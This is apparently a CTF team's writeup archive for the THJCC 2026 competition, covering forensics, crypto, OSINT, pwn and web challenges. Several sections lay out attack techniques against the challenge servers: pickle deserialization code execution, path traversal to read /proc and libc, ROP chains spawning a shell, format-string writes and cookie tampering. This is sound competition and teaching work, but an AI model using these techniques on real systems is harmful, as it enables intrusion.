Event Snapshot
Organizer: Taiwan High School Joint Cyber Championship
Team: KSAL Cyber Team
Result: 4th place overall
Official site: ctf2026.thjcc.org
CTFtime: Event page
This page keeps our THJCC material in one place.
Alpet maintained the full event repo with the broader challenge notes, and I later wrote up the two forensic and steganography solves below in much more detail. Instead of splitting THJCC into dozens of tiny posts, this page keeps both layers together: the two full writeups first, then the rest of the event archive from Alpet’s notes right after them.
KSAL finished 4th overall, and the solve spread across the repo still feels like a good snapshot of how much ground the team covered during the event.
Detailed Solves We Wanted To Preserve
CoLoR iS cOdE
The first artifact was a password-protected archive called THJCC_CoLoR_iS_cOdE.zip. Since it was worth 500 points, my first assumption was that the password itself probably was not the real puzzle. Usually when a challenge starts with an encrypted archive, the interesting part is what kind of encryption is being used and whether there is a structural weakness to exploit.
Step 1: Confirm what the ZIP actually contains
I started by listing the entries inside the archive to see whether there was anything useful to anchor an attack.
from zipfile import ZipFile
with ZipFile("THJCC_CoLoR_iS_cOdE.zip") as archive:
for entry in archive.infolist():
print(entry.filename, entry.file_size, bool(entry.flag_bits & 0x1))
That quickly told me everything I needed:
- there was only one file inside,
rainbow.png - the entry was encrypted
- the challenge almost certainly wanted me to reason about the archive format before touching the image itself
Because the payload was a PNG, I immediately had a piece of known plaintext available. PNG files always begin with the same magic bytes:
89504e470d0a1a0a0000000d49484452
If the archive was using classic ZipCrypto instead of AES, that header would be enough to try a known-plaintext attack.
Step 2: Recover the ZipCrypto keys
I used bkcrack against the encrypted rainbow.png entry and supplied the PNG header as the known plaintext prefix:
bkcrack.exe `
-C THJCC_CoLoR_iS_cOdE.zip `
-c rainbow.png `
-x 0 89504e470d0a1a0a0000000d49484452
That succeeded and recovered the internal keys:
d3b0bb05 2e88b90e ed7f7e33
At that point the password no longer mattered. The archive itself was the weak point.
Step 3: Produce a decrypted copy
With the internal keys in hand, I created a clean decrypted ZIP:
bkcrack.exe `
-C THJCC_CoLoR_iS_cOdE.zip `
-k d3b0bb05 2e88b90e ed7f7e33 `
-D THJCC_CoLoR_iS_cOdE_decrypted.zip
After extracting the new archive, I finally had the real artifact: rainbow.png.
Step 4: The metadata was not noise
Opening the image normally did not reveal much, so I switched to metadata and chunk inspection. The useful clue was hiding in the UserComment field inside the eXIf chunk.
What I found looked like this:
Ook. Ook? Ook! Ook. ...
That was the turning point. Ook is not garbage text; it is a joke-language wrapper around Brainfuck. Once I noticed that, the next step was straightforward: translate the Ook token pairs into Brainfuck instructions and run the result.
The decoded program produced the first half of the flag:
THJCC{c0lorfU1_col0rfu!_c0
So the image was clearly layered. The metadata gave me the opening, but not the whole answer.
Step 5: The image itself was encoding the rest
The hint, colors can say a lot, made more sense after staring at the picture for a while. The top band of the image was too regular to be decorative:
- 26 narrow columns
- each column exactly
12 x 12pixels - repeated color blocks with obvious structure
That suggested a very mechanical encoding scheme. The rule that ended up working was:
- take one column at a time
- ignore black pixels
- count the frequency of each remaining color
- use the most common count as an ASCII value
I tested that idea with a short script:
from collections import Counter
from PIL import Image
img = Image.open("rainbow.png").convert("RGB")
pixels = img.load()
decoded = []
for column in range(26):
counts = Counter(
pixels[x, y]
for x in range(column * 12, (column + 1) * 12)
for y in range(12)
if pixels[x, y] != (0, 0, 0)
)
decoded.append(chr(counts.most_common(1)[0][1]))
print("".join(decoded))
That gave me the missing tail:
!0rful_img_m4d3_by_p1e7:>}
Putting both layers together produced the full flag:
THJCC{c0lorfU1_col0rfu!_c0!0rful_img_m4d3_by_p1e7:>}
SSTV Audio Challenge
The second solve came from an audio file called output.flac. My first pass was the usual checklist: listen to it, check the metadata, see if speech recognition gets anything usable, and then move to the frequency domain if it still feels wrong.
Step 1: Rule out the obvious paths
The audio did not behave like spoken content, and automatic transcription only returned vague nonsense. That was enough for me to stop treating it like voice data and start treating it like a signal puzzle.
When audio sounds structured but not meaningful, a spectrogram is often the fastest way to tell whether you are looking at hidden imagery, encoded tones, SSTV, or some other modulation scheme.
Step 2: Generate a spectrogram
I rendered a spectrogram focused on the interesting frequency range:
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
import soundfile as sf
audio, sample_rate = sf.read("output.flac")
plt.figure(figsize=(18, 6))
plt.specgram(audio, NFFT=2048, Fs=sample_rate, noverlap=1024, cmap="magma")
plt.ylim(900, 2500)
plt.tight_layout()
plt.savefig("spectrogram_900_2500.png", dpi=180)
The pattern was the giveaway. Once the horizontal banding showed up, it immediately looked like SSTV. If you have seen a few SSTV spectrograms before, the structure is hard to mistake for anything else.
Step 3: Decode the image manually
The annoying part was that automatic mode detection did not cooperate. The decoder returned an unsupported VIS code, which meant one of three things:
- the header was slightly corrupted
- the mode was unusual
- or the detector simply missed it
Rather than spend time debugging the detection logic, I forced a set of common SSTV modes and saved the output of each attempt:
from sstv import spec
from sstv.decode import SSTVDecoder
import sstv.decode as decode
decode.log_message = lambda *args, **kwargs: None
decode.progress_bar = lambda *args, **kwargs: None
modes = {
"M1": spec.M1,
"M2": spec.M2,
"S1": spec.S1,
"S2": spec.S2,
"SDX": spec.SDX,
"R36": spec.R36,
"R72": spec.R72,
}
for name, mode in modes.items():
decoder = SSTVDecoder("output.flac")
header = decoder._find_header()
if header is None:
continue
decoder.mode = mode
vis_end = header + round(spec.VIS_BIT_SIZE * 9 * decoder._sample_rate)
image_data = decoder._decode_image_data(vis_end)
image = decoder._draw_image(image_data)
image.save(f"decoded_{name}.png")
M1 was the winner. That mode produced a clean, readable image with the flag.
Final flag:
THJCC{sSTv-is_aMaZINg}
Full Challenge Archive From The Event Repo
The sections below are copied into this writeup from the original event notes so the full challenge set lives here on the site.
AI
Deep Inverse
Point: 100
Description
Input: x (10-dim vector)
Goal: f(x) ≈ 1337.0
The system is watching. Can you find the input that satisfies the model?
Author: Auron
nc chal.thjcc.org 1337
Solution
To solve this challenge, we perform a gradient-based “inverse” of the model:
- Load the Model: Use
torch.jit.loadto load the providedmodel.ptfile. - Define the Target: Our goal is to find an input
xsuch that the model output is1337.0. - Optimize the Input:
- Initialize a random 10-dimensional tensor
xwith gradients enabled. - Use an optimizer (like Adam) to minimize the loss:
loss = (model(x) - 1337.0)^2. - Iterate until the model output is sufficiently close to the target.
- Initialize a random 10-dimensional tensor
- Submit Solution: Send the optimized vector as a comma-separated string to the remote server.
NEURAL_OVERRIDE
Point: 264
AI is not always as safe as it seems. Can you find the vulnerability hidden within this model?
Description Summary
The site asks us to upload a custom .pt tensor that:
- stays within
L2_DIST < 0.05from the original tensor - forces prediction to
CLASS_ID_3 - with
confidence >= 90%
At first this looks like an adversarial example optimization problem, but the real issue is unsafe deserialization.
Recon
The page exposes:
GET /download_origin-> original tensor (origin.pt)POST /judge-> checks uploaded.pt
Uploading invalid files (for example plain text) returns raw deserialization errors.
This strongly indicates the server is doing torch.load() on user-controlled input.
Vulnerability
torch.load uses Python pickle (unless hardened). Pickle is code-execution capable.
If the server loads arbitrary .pt from users with unsafe settings, we can execute code during deserialization (__reduce__ gadget).
That means we can:
- monkeypatch runtime functions used in validation (
torch.norm,torch.dist) - monkeypatch softmax output to force class 3 with high confidence
- return a valid tensor object so the judge flow continues
Exploit Strategy
Inside payload __reduce__, execute Python code that:
- sets
torch.normand/ortorch.distto always return0.0 - sets
torch.softmaxandtorch.nn.functional.softmaxto return a fixed probability vector with class index3at1.0 - returns
torch.zeros((1,3,32,32))as a valid tensor
This bypasses all checks without needing true adversarial optimization.
Flag
THJCC{y0ur_ar3_the_adv3rs3r1al_attack_m0st3r}
Steal My model
Point: 385
Description
The goal is to recover a hidden linear classifier defined by a 16-dimensional unit vector n and a scalar beta.
- Model:
label = 1 if dot(n, x) + beta >= 0 else 0 - Success: Recover
nandbetawith error less than0.005.
Vulnerability: Oracle Leak
While the challenge implies a black-box label attack, the /submit endpoint leaks precise error metrics on failure:
max_component_error = max_i |n_guess[i] - n[i]|beta_error = |beta_guess - beta|
This distance oracle allows us to reconstruct the parameters directly without using the labels.
Solution Strategy
- Recover Vector
n:- For each dimension
i, submit guessesv+ = 3.0 * e_iandv- = -3.0 * e_i. - The errors will be
fp = 3.0 - n_iandfm = 3.0 + n_i. - Calculate
n_i = (fm - fp) / 2.
- For each dimension
- Recover
beta:- Query with
beta_guess = 0to getd0 = |beta|. - Query with
beta_guess = 1to getd1 = |1 - beta|. - Solve for the sign of
betausing these distances.
- Query with
- Submit: Use the recovered
nandbetafor the final submission.
Flag
THJCC{y0ur_st3al1ng_sk1ll_1s_amaz1ng}
Crypto
0login
Point: 487
Welcome to our fantasic web service 0-login, you can login without any input! http://chal.thjcc.org:5000/
676767
100
676767 67 6767
67 EVERYWHERE 0A0 Just bring me out of this 67 haven …
Author: whale120
nc chal.thjcc.org 48764
Vulnerability: Seed Replay
Python’s random.seed() treats negative integers such that random.seed(-x) can result in the same internal state as random.seed(x). By sending a = -1 and b = 0, we effectively reset the generator to its initial state.
Solution
- Leaked Values: Capture the first 10 numbers generated.
- Reset State: Send
a = -1andb = 0to triggerrandom.seed(-seed). - Replay: Provide the captured numbers as answers.
- Retry: Since
randrange(base)uses rejection sampling, the replay only works if all captured numbers are less thanbase. Retry until this condition is met.
The seed was 70 :)
Flag
THJCC{676767676767676767676767_i_dont_like_those_brainnot_memes_XD}
Betterfly
Point: 182 They say a butterfly’s wings can cause a tornado halfway around the world. This cipher embraces that chaos. Can you find the key that unlocks the secret?
the initial key lead to completely different results.
Solution
- Analyze the Cipher: The encryption uses a chaotic logistic map (
x = r * x * (1 - x)) to generate a keystream. - Determine the Key: By mapping the known prefix
THJCC{to the ciphertext, we can deduce or test the initial float key (found to be0.123456789). - Decrypt: Perform the bitwise XOR operation with the generated keystream.
- Post-Process: The resulting text is further obfuscated with a Caesar cipher (Shift: 11). Applying the shift reveals the final flag.
Flag
THJCC{N07hinGbEat5aJ2h0liDaye}
bit by bit
Point: 324
Description
The challenge performs a bit-by-bit encryption of a 105-byte secret string. For each bit:
- If the bit is 1, a fixed 500-byte secret
keyis encrypted using RSA. - If the bit is 0, a random 500-byte value is encrypted using RSA.
The RSA moduli are small (64-bit), and the flag is encrypted using AES-CBC with a key derived from the 105-byte secret.
Solution
- Factor RSA Moduli: Since each $N = p \times q$ uses small 32-bit primes, we can easily factor all moduli and decrypt the RSA ciphertexts to retrieve the original 500-byte residues.
- Recover the Secret Key:
- The RSA samples corresponding to ‘1’ bits all share the same 500-byte
key. - The RSA samples corresponding to ‘0’ bits are random.
- We use the LLL (Lenstra–Lenstra–Lovász) algorithm on a lattice constructed from the Chinese Remainder Theorem (CRT) moments of these residues. This allows us to find the most likely candidate for the hidden 500-byte
key.
- The RSA samples corresponding to ‘1’ bits all share the same 500-byte
- Reconstruct Secret Data: By checking which decrypted residues match the recovered
key, we identify the ‘1’ and ‘0’ bits of the original 105-byte secret. - Decrypt Flag: Deriving the AES key from the reconstructed secret allows us to decrypt the final flag.
Flag
THJCC{bit_by_bit_lll_is_powerful}
Duck
Point: 496
The challenge involves multiple layers of classical cryptography.
Solution Steps
Layer 1: Formatting
The input lines in secret.txt are mostly reversed. We can tell because sentences end with . at the beginning and start with a capital letter at the end.
Layer 2: Caesar Cipher
All text is shifted by +12. This shift is consistent across all sections.
Layer 3: Vigenère Cipher
The key for the Vigenère layer is sword. Different parts of the text use different rotations of this key (e.g., words, dswor).
Layer 4: Base64
The long middle string is a Reversed Base64 payload. After stripping the leading = and reversing, we apply the Caesar and Vigenère layers to reveal the Base64-encoded text.
Layer 5: Monoalphabetic Substitution
The final message revealed after the Base64 layer is still encrypted with a simple substitution cipher (each letter maps to a unique fixed replacement). We broke this using Crib-Dragging—the process of identifying known words (“cribs”) based on their character patterns and positions.
Step 1: Solving the “the” and “of”
We looked for high-frequency 3-letter and 2-letter words.
- The word
smrappeared multiple times in positions where “the” would be expected.- Deduction:
s$\rightarrow$t,m$\rightarrow$h,r$\rightarrow$e.
- Deduction:
- The word
jyappeared frequently.- Deduction:
j$\rightarrow$o,y$\rightarrow$f(yielding “of”).
- Deduction:
Step 2: Pattern Matching for Long Words
Once we had the basic structure, we looked at longer, unique words.
Djcfepszopstjcl: This 15-letter word has the pattern of “Congratulations”.- Mapping:
D$\rightarrow$C,j$\rightarrow$o,c$\rightarrow$n,f$\rightarrow$g,e$\rightarrow$r,p$\rightarrow$a,s$\rightarrow$t,z$\rightarrow$d,o$\rightarrow$l,p$\rightarrow$a,s$\rightarrow$t,t$\rightarrow$i,j$\rightarrow$o,c$\rightarrow$n,l$\rightarrow$s.
- Mapping:
- This confirmed our previous deductions and gave us nearly half the alphabet.
Step 3: Contextual Deductions
The article mentioned Alan Turing. We found a sequence:
tvqejgr smr otgrl jy jsmrel- Applying current mappings:
_vpe_re the l_ves of othe_s - It clearly decodes to: “improve the lives of others”
- Mapping:
t$\rightarrow$i,v$\rightarrow$m,q$\rightarrow$p,g$\rightarrow$v.
- Mapping:
Step 4: Final Flag Recovery
Applying all the discovered mappings to the flag line:
SMADD{d1@ll1d41_deb9s0fe@9mb_1l_l1v9or_e1fm7?}- Decodes to:
THJCC{c1@ss1c41_cry9t0gr@9hy_1s_s1m9le_r1gh7?} - (Substitution:
S$\rightarrow$T,M$\rightarrow$H,A$\rightarrow$J,D$\rightarrow$C)
Final Flag
THJCC{c1@ss1c41_cry9t0gr@9hy_1s_s1m9le_r1gh7?}
Proof 100
Point: 487
Welcome to our fantasic web service 0-login, you can login without any input! http://chal.thjcc.org:5000/
Sage
Point: 484
a bit insane Sogo 台灣人的諧音梗了、、、
shifting
Point: 500
Everything is changing except…?
Hint: Some characters will change, while others remain the same. Use the unchanged ones to recover the flag.
Forensics
ExBaby Shark Master
Point: 100
Just Search
Solution
on HTTP POST request that uploaded a file named exbaby-shark-master.txt.
Flag
THJCC{1t'S-3Asy\*-r1gh7?????}
I use arch btw
Point: 100
Can you find the hidden message?
Ransomware
Point: 100
Ransomware?
TV
Point: 100
Amazing soundsound
Misc
baby jail
This is a baby jail. Just do it.
nc chal.thjcc.org 15514
Image
Point: 100
Check the hex of this image
Solution
- Analyze the Image: Initial inspection of
THJCC_IMAGE.pngreveals it contains more data than a standard image. - Identification: Using a binary analysis (or a simple hex search), we find the ZIP header
PK\x03\x04embedded within the PNG’s data. - Extraction (Carving):
- A Python script (
script.py) was used to scan for the\x50\x4B\x03\x04signature. - All data from that offset to the end of the file was saved as
hidden_data.zip.
- A Python script (
- Result: Extracting the ZIP archive reveals the directory
cute/containing additional image files.
Flag THJCC{fRierEN-SO_cUTe:)}
kinezi
Challenge Description
The goal was to find the password to a protected ZIP archive (hidden_archive.zip) using clues provided in a hint and a companion file (challenge.HEIC).
Provided Hints
- Text Hint: “這是一個一個一個重要提示” (This is a very, very, very important hint).
- Song Hint: “在這特別的日子裡,送給你們一首非常特別的歌曲,特別的八字給特別的你” (On this special day, giving you a very special song… a special 8-digits for a special you).
- Implicit Context: The phrasing used is a well-known reference to the Japanese internet meme “Yajuu Senpai” (野獸先輩), which is often associated with the numbers
114514and the dateAugust 10th(8/10).
Step-by-Step Solution
1. Initial Analysis
The directory contained:
hidden_archive.zip: The target file.challenge.HEIC: An iPhone image file.script.py: A failed brute-force script that tried all dates from 1900 to 2030.
2. Identifying the Meme
The phrase “這是一個一個一個…” and the “special day” strongly pointed towards the 8/10 (August 10th) meme culture. Since the provided script.py already exhausted all standard dates up to the year 2030, the “special year” had to be something outside that range.
3. Metadata Investigation
I used a Python script with the pi-heif and exifread libraries to inspect the metadata (EXIF) of the challenge.HEIC file.
from pi_heif import register_heif_opener
import exifread
register_heif_opener()
with open('challenge.HEIC', 'rb') as f:
tags = exifread.process_file(f)
print(tags['EXIF DateTimeOriginal'])
Result:
The EXIF data revealed a modified timestamp:
EXIF DateTimeOriginal: 3000:08:10 00:00:00
4. Cracking the ZIP
The date 3000:08:10 translates to the 8-digit string 30000810.
I ran a script to test this password against the archive:
import zipfile
with zipfile.ZipFile('hidden_archive.zip', 'r') as zf:
zf.extractall(pwd=b'30000810')
The extraction was successful, yielding flag.txt.
5. Obtaining the Flag
Reading the extracted file:
type flag.txt
Flag: THJCC{Y@JUNlKU}
Conclusion
The challenge combined Steganography (metadata manipulation) with OSINT/Meme culture. The key was recognizing the specific “Yajuu Senpai” linguistic patterns and checking the image’s EXIF data for a non-standard year.
Password: 30000810
Flag: THJCC{Y@JUNlKU}
Lock
Point: 498
Description
My friend locked his personal webpage for some reason, but did he really?
Target: thjcc.tcp.tw
Hint: Try clicking on anything clickable on the Google login page. By the way, it’s an OSINT challenge.
Solution
This was an OSINT (Open Source Intelligence) challenge involving following a trail of digital footprints:
- GitHub Discovery: Checking the GitHub profile for
418meowrevealed a ‘special’ repository. Redirects from the usernamem41657557confirmed it was a previous alias for the same user. - Metadata Leak: Analyzing GitHub metadata revealed the email
jaylen0721@tcp.tw. - Social Media Pivot: Searching for the handle
jaylen0721led to a Twitter account that mentionedhackmd.ioas being “useful.” - HackMD Investigation: On HackMD, the user
jaylen0721was found following only one other user:wilson2026. - Finding the Blog: The HackMD profile for
wilson2026linked to a personal blog. - Web Archiving: The blog itself appeared to be locked or changed, but checking the Wayback Machine (Web Archive) revealed a snapshot from February 14, 2026:
https://web.archive.org/web/20260214130957/https://m2k4b3jo8z.pages.dev/
This archived page contained the necessary information to bypass the lock.
Flag
THJCC{42vj6Dx}
Metro
Point: 244
I took this photo at a MRT station in a certain city/county in Taiwan. Please identify which station it is and which floor it was taken on.
Flag format: THJCC{Station Code-Floor} (Case insensitive)
Example: If the station code for Taipei Metro’s Shuanglian Station is R12, and the floor is the 1st floor (using American English numbering), the flag would be THJCC{R12-1F}
THJCC{A10-3F}
Provisioning in Progress
Point: 100
Description
AS201943 has recently begun deploying its production infrastructure. According to the NOC provisioning policy, Operational status is based on live network deployment. Address assignments alone do not imply production readiness.
Your task is to determine which infrastructure is actually in production and retrieve the NOC authorization token from the public registry (RIPE/WHOIS).
Solution
1. OSINT Reconnaissance
A WHOIS query for AS201943 returns several IPv6 prefixes. By following the “Operational status” policy, we filter out “Lab” or “Pending” blocks and focus on the ACTIVE core infrastructure.
- Active Prefix:
2a14:7581:6fa0::/48 - Description:
CORE INFRASTRUCTURE (ACTIVE) - Found Token:
fWxhZXJfZXJhX3NleGlmZXJwX2RlY251b25uYV95bG5ve2Njamh0
2. Decoding the Token
The token retrieved from the registry is both Base64 encoded and reversed.
- Base64 Decode:
fWxhZXJfZXJhX3NleGlmZXJwX2RlY251b25uYV95bG5ve2Njamh0$\rightarrow$flaer_era_sexiferp_decnuonna_ylnoy{ccjht - Reverse String:
flaer_era_sexiferp_decnuonna_ylnoy{ccjht$\rightarrow$thjcc{yonly_announced_prefixes_are_real}
3. Automation
You can recover the flag using this quick one-liner:
echo "fWxhZXJfZXJhX3NleGlmZXJwX2RlY251b25uYV95bG5ve2Njamh0" | base64 -d | rev
Flag
thjcc{yonly_announced_prefixes_are_real}
YRSK
Point: 426
Notice RIFF ChunkSize and size limits Flag format: Case Insensitive, no spaces
Pwn
ASCII Driver
Point: 100
nc chal.thjcc.org 10022
Baby PHP
Point: 463
This is a baby web challenge. :>
Note: ASLR is 0
http://chal-gcp.thjcc.org:60000/
Source Analysis
1) index.php
if (isset($_GET['f'])){
echo file_get_contents('/app/'.$_GET['f']);
}
if (isset($_GET['txt'])){
...
$res = whale_encrypt($_GET['txt']);
...
}
Two attack surfaces:
f: file read with user-controlled path appended to/app/(traversal with../../)txt: passed to native extension functionwhale_encrypt
2) Extension (whalecrypt.so)
Reverse engineering zif_whale_encrypt shows unbounded copy of user input into a stack buffer (classic overflow), with saved return pointer controllable.
Important offsets used:
- RIP overwrite at
0xb8from start oftxtbuffer - Bytes
0x40..0x47map to an internal length variable ([rbp-0x70]), set to0to stabilize path after overflow
Exploit Strategy
Phase A: Easy win checks
Try direct:
/?f=../../getflag
In this instance, that did not directly return a usable flag.
Phase B: Build reliable ROP from leaked runtime
- Leak maps:
/?f=../../proc/self/maps
- Parse:
whalecrypt.sobase- libc base + libc path
- Leak remote libc bytes:
- Example:
/?f=../../usr/lib/x86_64-linux-gnu/libc.so.6
- Example:
- Resolve from leaked libc:
systemexitpop rdi ; ret- write gadget:
mov [base+disp], src ; ... ; ret - matching
pop <base>/pop <src>
Phase C: Command execution + exfil
Write command string into writable memory (whale_base + 0x40f0):
"/g*>x\0"
(/g*expands to/getflag, output redirected to filexunder/app)
ROP then calls:
- writer gadget sequence to place command in memory
system(cmd_ptr)exit(0)for cleaner end
The connection can still close abruptly; that is okay.
After sending payload, read:
/?f=x
and extract THJCC{...}.
Solver Script
Implemented in:
exploit.py
What it does:
- Validates traversal surface (
?f=index.php) - Tries direct
?f=../../getflag - Leaks maps/libc
- Auto-selects compatible libc write gadget + pops
- Sends overflow payload via
?txt=<urlencoded-bytes> - Reads dropped file
?f=x - Extracts and prints flag
Reproduce
python exploit.py --url http://chal-gcp.thjcc.org:60039/ --timeout 12 --attempts 5 --verbose
Expected success output includes:
[+] Exploit succeeded via dropped file '/app/x'.
FLAG: THJCC{well_done_u_have_built_your_first_php_rop_chain_owob}
Farm
Point: 333
nc chal.thjcc.org 10020
Happy Cat Jail
Point: 494
meow ?
nc chal.thjcc.org 9000
Solution
The problem provides a little bit of source code.
package main
import (
"fmt"
"unsafe"
)
Inside, it mentions unsafe, which looks quite dangerous. From the official Go website, you can see its introduction. It should be pretty obvious that this thing involves null pointers, right?
PoC:
type catInterface struct {
t uintptr
v unsafe.Pointer
}
p := unsafe.Pointer(&target)
iface := (*catInterface)(p)
catStr := (*string)(iface.v)
fmt.Println(*catStr)
Flag
THJCC{iT'6m5E8Sm6Y_gOj!!!!!LwAnG}
Login as Admin
Point: 410
I think I made a very secure login system, so no one can hack it
nc chal.thjcc.org 10003
1. Recon
Key observations:
usernameis read withread(0, username, 0x100)and is not null-terminated.- On failure,
printf("%s login failed!\n", username)prints bytes past the buffer until it hits\x00. admin_passwordis actually&system, so leaking nearby stack data can reveal a libc pointer.
2. Vulnerability
This is an information leak from an unterminated string:
usernamefills exactly0x100bytes.printf("%s", username)keeps reading into adjacent stack variables.- Adjacent data includes pointer-sized values from the stack frame (
password,admin_password, saved data). - A leaked libc-looking pointer lets us compute the needed password value.
3. Exploit Plan
Use two logins in one connection:
- Leak phase
- Send menu option
1. - Send
A * 0x100as username (no null byte). - Send any 8-byte password.
- Parse the echoed failure line and extract leaked bytes after the 0x100 username bytes.
- Send menu option
- Bypass phase
- Compute
systemfrom the leak (system = leak - deltaused by this instance). - Send menu option
1again. - Username:
admin\x00(sostrcmp(username, "admin") == 0). - Password: packed computed
systempointer.
- Compute
- On success, service spawns
/bin/sh; sendcat /flag.txt.
4. Solver Script
solve.py automates:
- Connect to
chal.thjcc.org:10003. - Trigger a harmless invalid menu input once (stack grooming helper in script).
- Leak a libc pointer from failed login output.
- Compute
systemaddress. - Login as
adminwith that value as password. - Execute
cat /flag.txt; exit.
Run:
python solve.py
5. Result
Recovered flag:
THJCC{u3e_1nf0rm4t1on_l3ak_t0_g3t_l1bc_bas3_4nd_g3t_adm1n_p@ssw0rd_th3n_RCE!!!}
Flag
THJCC{u3e_1nf0rm4t1on_l3ak_t0_g3t_l1bc_bas3_4nd_g3t_adm1n_p@ssw0rd_th3n_RCE!!!}
MyGO!!!!! Database revenge
Point: 415
nc chal.thjcc.org 10021
Source-level vulnerability
if (atoi(buf) != token) {
printf(buf);
puts("is not correct token!");
try++;
continue;
}
Two key points:
atoi(buf)is the auth check.printf(buf)is a format-string vulnerability (user-controlled format string).
3. Initial primitives from format string
Using %p probing on remote, stack argument mapping was recovered:
%8$...reads bytes0..7ofbuf%9$...reads bytes8..15%10$...reads bytes16..23
So we can inject an arbitrary pointer at bytes 16..23 and use %10$... to read/write it.
Example write primitive:
payload = b"%10$n" + b"A"*11 + p64(token_addr)- This writes
0totoken.
Then sending non-numeric input (abc) passes auth because atoi("abc") == 0.
4. Why login alone is not enough
After bypassing token check, service only prints database rows (no flag in normal output), so we need code execution.
5. Stack and libc reconstruction
From stack leaks:
- A stable libc leak (
%15$p) gave0x7ffff7db9d90. - Using provided libc offsets:
atoioffset0x43640systemoffset0x50d70
- This established libc base used by service:
0x7ffff7d90000
From stack-memory reads (%10$.8s with arbitrary pointer):
- Return-chain slot around
0x7fffffffec68is writable. %10$hnwrites can patch 16-bit chunks of that chain.
6. Constraint: only 10 tries per main
A full chain needed more writes than one 10-try window, so exploitation was split into two stages:
Stage 1 (first main)
- Overwrite return target to
__libc_start_call_main+0x16low half (re-entersmain, giving fresh 10 tries). - Preload part of final chain (
pop rdiandsystemwords) in adjacent stack slots.
Stage 2 (second main)
- Patch remaining words:
- leading
retgadget (alignment), /bin/shpointer.
- leading
- Exhaust tries to trigger return and execute chain:
ret -> pop rdi -> "/bin/sh" -> system
Then send:
cat /flag.txt
7. Flag
THJCC{54k1-ch4n_54k1-ch4n_54k1-ch4n_54k1-ch4n_54k1-ch4n_54k1-ch4n_54k1-ch4n_54k1-ch4n!!!!!!}
Secret Intern Service
Point: 426
Exploit the “unexploitable” service and prove you’re truly the best of the best.
This challenge depends on Secret File Viewer, find something useful for you right there
Author: Grissia
nc chal.thjcc.org 30001
Summary
This challenge is a classic stack overflow with a helpful crash handler that leaks a libc address. The service restarts itself after a crash, which enables a two-stage exploit:
- Trigger a crash to leak a libc function address.
- Re-login and use the second overflow to run
system("/bin/sh").
The task depends on the “Secret File Viewer” service, which is vulnerable to directory traversal. That lets us download the target libc and compute exact offsets, making the ret2libc reliable.
Files
chal.ccontains the vulnerable service.debug.pyprobes and confirms the crash behavior.exploit.pyperforms the full exploit (leak + ret2libc).libc.so.6is downloaded from the target via LFI in the Secret File Viewer.
Vulnerability Analysis
The critical bug is gets() in add_message():
void add_message(int user_id){
Message msg;
msg.user_id = user_id;
printf("Enter your message: ");
getchar();
gets(msg.content);
printf("Message added for user %d: %s\n\n", msg.user_id, msg.content);
}
msg.content is 256 bytes, but gets() does not enforce a limit. The saved return address is reached at:
RIP_OFFSET = 256 (content) + 8 (saved RBP) = 264
When the function returns, the corrupted RIP crashes the program and triggers crash_handler(). That handler prints:
Disconnect handler: <address>
This is the current puts() address, which gives a libc leak.
Secret File Viewer Dependency (LFI)
The “Secret File Viewer” runs on port 30000 and accepts:
/download.php?file=files/file_A.txt
Directory traversal is not properly filtered server-side. A working payload is:
download.php?file=../../../proc/self/maps
That reveals the exact libc path:
/usr/lib/x86_64-linux-gnu/libc.so.6
We can then download the libc:
download.php?file=../../../usr/lib/x86_64-linux-gnu/libc.so.6
Exploitation Steps
- Connect and log in to the service.
- Send an overflow with a bad RIP to crash and leak
puts(). - Compute libc base from the leaked
puts()using the exact libc file. - Re-login after the crash handler restarts the service.
- Send a ret2libc chain:
retfor alignmentpop rdi; ret- address of
"/bin/sh" - address of
system
Commands Used
Download libc from the LFI service:
import socket
host='chal.thjcc.org';port=30000
path='../../../usr/lib/x86_64-linux-gnu/libc.so.6'
req=f"GET /download.php?file={path} HTTP/1.1\r\nHost: chal.thjcc.org\r\nConnection: close\r\n\r\n".encode()
s=socket.socket();s.settimeout(5);s.connect((host,port))
s.sendall(req)
resp=b""
while True:
chunk=s.recv(4096)
if not chunk: break
resp+=chunk
s.close()
_,_,body=resp.partition(b"\r\n\r\n")
open("libc.so.6","wb").write(body)
Run exploit:
python exploit.py --libc libc.so.6
Result
The exploit drops a shell and the flag is in flag.txt:
THJCC{w3_d13_1n_7h3_d4rk_50-y0u_m4y_l1v3_1n_7h3_l16h7}
Notes
- The crash handler calls
main()again, so the same connection can be reused after the crash. - Using the exact target libc removes guesswork and makes the ROP chain reliable.
THJCC file upload server
THJCC file upload server 500 image_2026-02-21_172935403.png here we go absolutely insane.
Author: zKltch
僕と契約して、魔法少女になってよ!
Point: 500
Do you like QB?! ~ ☆
(Please solve this challenge locally before connecting to the remote server.)
nc chal-gcp.thjcc.org 13370
Notice:
The main files to focus on for this challenge are located in the src/challenge/ directory. When you connect to the server, it will require solving a PoW. The PoW solver script is located at solver/solve_pow.py. After solving PoW, the server will ask if you want to upload your exploit — provide the URL of your exploit file to do so. When QEMU startup, you can find your exploit at /tmp/e. If you have any problem about linux kernel challenge environment, please refer to the challenge others source code.
Reverse
Fllllllag_ch3cker_again
Point: 100
Flag chekcer again?????????
PocketVM
Point: 100
Can you unpack the hidden Tiny VM bytecode and reverse its logic to recover the correct key?
Super baby reverse
Point: 100
My first C lang project can you find the hidden message inside?
THJCC-anti-virus
Point: 100
I make an simple Anti-Virus but my friend say there is something wrong inside can you help me to find out?
nc chal.thjcc.org 1145
THJCC-anti-virus-revange
Point: 171
I update my Anti-Virus but my friend say there is still something wrong inside can you help me to find out?
nc chal.thjcc.org 14712
幽々子の食べ物
Point: 371
My fumo wants to eat KFC and jump into a bucket full of fried chicken, but we don’t have KFC, so I decide to do something special for it.
Web
0422
Point: 100
A very simple challenge about a web exploit.
Really simple. LOL.
Solution
change coockis role to admin, then refresh the page, you will get the flag.
Flag
THJCC{c00k135_4r3_n07_53cur3_1f_n07_51gn3d_4nd_p13453_d0_7h3_53cur3_c0d1ng_r3v13w_101111}
A long time ago
Point: 100
Ear
Point: 100
CWE-698 is actually a “water hole” (trap), but it usually results in serious consequences such as information disclosure or CSRF. The root cause is something like this:
<?php
require_once 'config.php';
if (empty($_SESSION['username'])) {
header('Location: index.php');
// exit;
// If there is no exit, the script will continue executing the code below,
// such as database queries or static pages.
}
?>
curl http://chal.thjcc.org:1234/admin.php
<!doctype html>
<html>
<head><meta charset="utf-8"><title>Admin Panel</title></head>
<body>
<p>Admin Panel</p>
<p><a href="status.php">Status page</a></p>
<p><a href="image.php">Image</a></p>
<p><a href="system.php">Setting</a></p>
</body>
</html>
We check the three pages and find that the system.php page contains the flag.
curl http://chal.thjcc.org:1234/system.php
